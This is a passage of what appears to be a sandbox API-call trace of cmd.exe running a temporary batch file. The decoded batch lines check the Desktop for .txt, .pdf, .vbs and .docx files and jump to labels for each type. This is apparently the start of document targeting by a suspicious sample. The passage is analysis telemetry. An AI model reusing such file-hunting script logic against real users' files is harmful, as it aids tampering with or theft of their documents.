FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.505] GetLastError () returned 0x2 [0037.505] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.505] GetLastError () returned 0x6 [0037.505] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.505] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.505] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.506] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.506] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.506] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.506] SetConsoleInputExeNameW () returned 0x1 [0037.506] GetConsoleOutputCP () returned 0x1b5 [0037.506] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.506] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.507] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.507] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.507] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.507] SetFilePointer (in: hFile=0x74, lDistanceToMove=160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0037.507] GetProcessHeap () returned 0x4e0000 [0037.507] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.507] GetProcessHeap () returned 0x4e0000 [0037.507] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.507] GetProcessHeap () returned 0x4e0000 [0037.507] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.507] GetProcessHeap () returned 0x4e0000 [0037.507] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.507] GetProcessHeap () returned 0x4e0000 [0037.507] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.507] GetProcessHeap () returned 0x4e0000 [0037.507] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.507] GetProcessHeap () returned 0x4e0000 [0037.507] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.507] GetProcessHeap () returned 0x4e0000 [0037.507] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.507] GetProcessHeap () returned 0x4e0000 [0037.507] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.507] GetProcessHeap () returned 0x4e0000 [0037.507] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.508] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.508] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0037.508] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.508] SetFilePointer (in: hFile=0x74, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0037.508] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0037.508] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.508] GetFileType (hFile=0x74) returned 0x1 [0037.508] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.508] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0037.508] GetProcessHeap () returned 0x4e0000 [0037.508] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.508] GetProcessHeap () returned 0x4e0000 [0037.508] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.509] _tell (_FileHandle=3) returned 162 [0037.509] _close (_FileHandle=3) returned 0 [0037.509] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.509] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.509] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.509] SetFilePointer (in: hFile=0x74, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0037.509] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.509] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0037.509] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.509] SetFilePointer (in: hFile=0x74, lDistanceToMove=187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0037.509] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0037.509] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.510] GetFileType (hFile=0x74) returned 0x1 [0037.510] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.510] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0037.510] GetProcessHeap () returned 0x4e0000 [0037.510] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.510] GetProcessHeap () returned 0x4e0000 [0037.510] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.510] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.510] GetProcessHeap () returned 0x4e0000 [0037.510] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.510] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.510] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.510] GetProcessHeap () returned 0x4e0000 [0037.510] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.510] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.510] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.510] GetProcessHeap () returned 0x4e0000 [0037.510] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.510] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.510] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.510] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.510] GetProcessHeap () returned 0x4e0000 [0037.511] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.511] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.511] GetProcessHeap () returned 0x4e0000 [0037.511] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.511] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.511] GetProcessHeap () returned 0x4e0000 [0037.511] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.511] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.512] _tell (_FileHandle=3) returned 187 [0037.512] _close (_FileHandle=3) returned 0 [0037.512] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0037.512] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.512] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.512] GetLastError () returned 0x2 [0037.512] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.512] GetLastError () returned 0x6 [0037.512] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.512] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.513] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.513] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.513] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.513] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.514] SetConsoleInputExeNameW () returned 0x1 [0037.514] GetConsoleOutputCP () returned 0x1b5 [0037.514] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.514] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.514] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.514] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.514] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.514] SetFilePointer (in: hFile=0x74, lDistanceToMove=187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0037.514] GetProcessHeap () returned 0x4e0000 [0037.514] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.515] GetProcessHeap () returned 0x4e0000 [0037.515] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.515] GetProcessHeap () returned 0x4e0000 [0037.515] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.515] GetProcessHeap () returned 0x4e0000 [0037.515] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.515] GetProcessHeap () returned 0x4e0000 [0037.515] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.515] GetProcessHeap () returned 0x4e0000 [0037.515] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.515] GetProcessHeap () returned 0x4e0000 [0037.515] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.515] GetProcessHeap () returned 0x4e0000 [0037.515] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.515] GetProcessHeap () returned 0x4e0000 [0037.515] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.515] GetProcessHeap () returned 0x4e0000 [0037.515] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.515] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0037.515] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.515] SetFilePointer (in: hFile=0x74, lDistanceToMove=212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0037.515] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0037.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.516] GetFileType (hFile=0x74) returned 0x1 [0037.516] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.516] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0037.516] GetProcessHeap () returned 0x4e0000 [0037.516] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.516] GetProcessHeap () returned 0x4e0000 [0037.516] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.516] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.516] GetProcessHeap () returned 0x4e0000 [0037.516] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.516] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.516] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.516] GetProcessHeap () returned 0x4e0000 [0037.516] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.516] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.516] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.516] GetProcessHeap () returned 0x4e0000 [0037.516] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.516] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.516] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.516] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.516] GetProcessHeap () returned 0x4e0000 [0037.516] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.517] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.517] GetProcessHeap () returned 0x4e0000 [0037.517] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.517] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.517] GetProcessHeap () returned 0x4e0000 [0037.517] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.517] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.518] _tell (_FileHandle=3) returned 212 [0037.518] _close (_FileHandle=3) returned 0 [0037.518] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0037.518] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.518] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.518] GetLastError () returned 0x2 [0037.518] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.518] GetLastError () returned 0x6 [0037.518] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.518] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.519] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.519] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.519] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.519] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.519] SetConsoleInputExeNameW () returned 0x1 [0037.519] GetConsoleOutputCP () returned 0x1b5 [0037.519] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.519] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.520] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.520] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.520] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.520] SetFilePointer (in: hFile=0x74, lDistanceToMove=212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0037.520] GetProcessHeap () returned 0x4e0000 [0037.520] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.520] GetProcessHeap () returned 0x4e0000 [0037.520] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.520] GetProcessHeap () returned 0x4e0000 [0037.520] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.520] GetProcessHeap () returned 0x4e0000 [0037.520] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.520] GetProcessHeap () returned 0x4e0000 [0037.520] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.520] GetProcessHeap () returned 0x4e0000 [0037.520] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.520] GetProcessHeap () returned 0x4e0000 [0037.520] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.520] GetProcessHeap () returned 0x4e0000 [0037.520] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.520] GetProcessHeap () returned 0x4e0000 [0037.520] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.520] GetProcessHeap () returned 0x4e0000 [0037.520] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.521] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0037.521] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0037.521] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0037.521] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.521] GetFileType (hFile=0x74) returned 0x1 [0037.521] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.521] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0037.521] GetProcessHeap () returned 0x4e0000 [0037.521] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.521] GetProcessHeap () returned 0x4e0000 [0037.521] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.521] _tell (_FileHandle=3) returned 214 [0037.521] _close (_FileHandle=3) returned 0 [0037.522] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.522] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.522] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0037.522] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0037.522] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0037.522] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0037.522] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.522] GetFileType (hFile=0x74) returned 0x1 [0037.522] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.522] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0037.522] GetProcessHeap () returned 0x4e0000 [0037.522] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.522] GetProcessHeap () returned 0x4e0000 [0037.523] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.523] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.523] GetProcessHeap () returned 0x4e0000 [0037.523] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.523] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.523] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.523] GetProcessHeap () returned 0x4e0000 [0037.523] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.523] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.523] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.523] GetProcessHeap () returned 0x4e0000 [0037.523] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.523] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.523] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.523] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4b38 [0037.523] GetProcessHeap () returned 0x4e0000 [0037.523] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f4b58 [0037.523] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b58, Size=0x18) returned 0x4f4b58 [0037.523] GetProcessHeap () returned 0x4e0000 [0037.523] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x18 [0037.523] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.523] GetProcessHeap () returned 0x4e0000 [0037.523] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.524] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4bf8 [0037.525] _tell (_FileHandle=3) returned 241 [0037.525] _close (_FileHandle=3) returned 0 [0037.525] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", 